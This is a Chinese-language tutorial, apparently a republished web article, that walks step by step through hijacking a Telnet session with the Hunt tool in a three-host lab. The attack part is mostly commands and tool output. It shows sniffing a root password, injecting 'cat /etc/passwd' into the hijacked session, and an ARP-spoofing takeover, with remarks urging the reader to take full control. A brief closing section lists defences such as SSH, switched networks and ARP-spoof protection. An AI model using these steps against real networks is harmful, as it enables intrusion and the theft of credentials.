會話劫持實例演示與防范技巧
要知道很多工具都可以進行會話劫持,比如說相對常用的juggernaut、TTY Watcher,還有如Dsniff這樣的工具包也可以實現(xiàn)會話劫持。但是本此的會話劫持實例演示還是通過經(jīng)典工具Hunt來進行。Hunt可以說是功能非常強大,并且可以把會話劫持技術(shù)發(fā)揮得淋漓盡致。
本次會話劫持實例演示所使用的Hunt是1.5,可以到Pavel Krauz網(wǎng)站下載源代碼包和二進制文件:
lin.fsid.cvut.cz/~kra/#hunt。
現(xiàn)在來看看如果使用Hunt,首先是下載并編譯源代碼:
[root@dahubaobao hunt]#wget
[root@dahubaobao>www.ringz.org/hunt-1.5.tgz
[root@dahubaobao hunt]#tar zxvf hunt-1.5.tgz
[root@dahubaobao hunt]#cd hunt-1.5
[root@dahubaobao hunt-1.5]#make
[root@dahubaobao hunt-1.5]#./hunt
//Hunt是完全交互試的操作
解釋一下各個選項的含義
l/w/r) list/watch/reset connections
//l(字母l)為查看當前網(wǎng)絡(luò)上的會話;w為監(jiān)視當前網(wǎng)絡(luò)上的某個會話;r為重置當前網(wǎng)絡(luò)上的某個會話。
a) arp/simple hijack (avoids ack storm if arp used)
//中間人攻擊(會話劫持),Hunt先進行ARP欺騙,然后進行會話劫持。使用此方法可以避免出現(xiàn)ACK風暴。
s) simple hijack
//簡單的會話劫持,也就是注射式攻擊。會出現(xiàn)ACK風暴。
d) daemons rst/arp/sniff/mac
//該選項共實現(xiàn)四個功能,分別為:終止會話,自動發(fā)送帶RST標志位的TCP包;ARP欺騙后進行數(shù)據(jù)包轉(zhuǎn)發(fā);不用說了,嗅探功能;在當前網(wǎng)絡(luò)上收集MAC地址。
其他的選項很簡單,不在多說了。還是來看看具體的例子吧,我想大家都等不及了!^_^
應用實例
測試環(huán)境:
攻擊者:Red Hat Linux 9.0 IP:192.168.0.10
主機A:Windows Advanced Server IP:192.168.0.1
主機B:FreeBSD 4.9 STABLE IP:192.168.0.20
[root@dahubaobao hunt-1.5]#./hunt
/*
* hunt 1.5
* multipurpose connection intruder / sniffer for Linux
* (c) 1998-2000 by kra
*/
starting hunt
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> l //查看當前網(wǎng)絡(luò)上的會話
0)192.168.0.1 [3465] ?192.168.0.20 [23]
//主機A正在Telnet到主機B
--- Main Menu --- rcvpkt 0, fr
ee/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> w //監(jiān)視當前網(wǎng)絡(luò)上的會話
0)192.168.0.1 [3465] ?192.168.0.20 [23]
Choose conn>0 //選擇打算監(jiān)視的會話。由于我的條件有限,不能模擬多個會話,請多見量。
Dump [s]rc/[d]st/[b]oth [b]> //回車
Print sec/dst same charactes y/n [n]> //回車 現(xiàn)在就可以監(jiān)視會話了。主機A輸入的一切內(nèi)容,我們都可以看到。主機A在Telnet并登陸之后,直接su root,password:后邊的就是root的密碼。現(xiàn)在這個系統(tǒng)已經(jīng)完全由你所控制了,自由發(fā)揮吧!
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> s //進行注射式會話劫持
0)192.168.0.1 [3465] ?192.168.0.20 [23]
choose conn> 0
dump connection y/n [n]>
Enter the command string you wish executed or [cr]> cat /etc/passwd#p#
攻擊者的意圖是獲取主機B的passwd文件的內(nèi)容,但由于注射式會話劫持缺陷,導致了ACK風暴,所以Hunt向會話雙方發(fā)送了一個帶RST標志位的TCP包來阻止ACK風暴。
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> a //進行中間人會話劫持
0)192.168.0.1 [3862] ?192.168.0.20 [23]
choose conn> 0
arp spoof src in dst y/n [y]>
src MAC [XX:XX:XX:XX:XX:XX]>
arp spoof dst in src y/n [y]>
dst MAC [XX:XX:XX:XX:XX:XX]>
input mode [r]aw, [l]ine+echo+\r, line+[e]cho [r]>
dump connectin y/n [y]> n
press key to take voer of connection
ARP spoof of 192.168.0.20 with fake mac XX:XX:XX:XX:XX:XX in host 192.168.0.1 FA
ILED
do you want to force arp spoof nutil successed y/n [y]>
CTRL-C to break
CTRL+C //手工輸入CTRL+C中斷,不需等待
-- operation canceled - press any key>
ARP spoof failed
ARP spoof of 192.168.0.20 in host 192.168.0.1 FAILED
you took over the connection
CTRL-] to break
-bash-2.05b$id
....................
在這次會話劫持實例的演示中,攻擊者已經(jīng)成功的劫持了主機A和B之間的Telnet會話。主機A輸入的一切命令攻擊者都可以看到,并且攻擊者也可以自行插入命令。正如前邊所說的,這種會話劫持方式先進行ARP欺騙,然后才劫持,所以,ACK風暴是不會出現(xiàn)的;而且,這種方式要比注射式會話劫持危害更大,從上文中我想就能看出來,我就不必在多說什么了。還有一些如Sniffer等功能,都很簡單,由于已不在本文范疇,故不在多說。
會話劫持防范
防范會話劫持是一個比較大的工程。首先應該使用交換式網(wǎng)絡(luò)替代共享式網(wǎng)絡(luò),雖然像Hunt這樣的工具可以在交換環(huán)境中實現(xiàn)會話劫持,但還是應該使用交換式網(wǎng)絡(luò)替代共享式網(wǎng)絡(luò),因為這樣可以防范最基本的嗅探攻擊。然而,最根本的解決辦法是采用加密通訊,使用SSH代替Telnet、使用SSL代替HTTP,或者干脆使用IPSec/VPN,這樣會話劫持就無用武之地了。其次,監(jiān)視網(wǎng)絡(luò)流量,如發(fā)現(xiàn)網(wǎng)絡(luò)中出現(xiàn)大量的ACK包,則有可能已被進行了會話劫持攻擊。
還有一點是比較重要的,就是防范ARP欺騙。
【編輯推薦】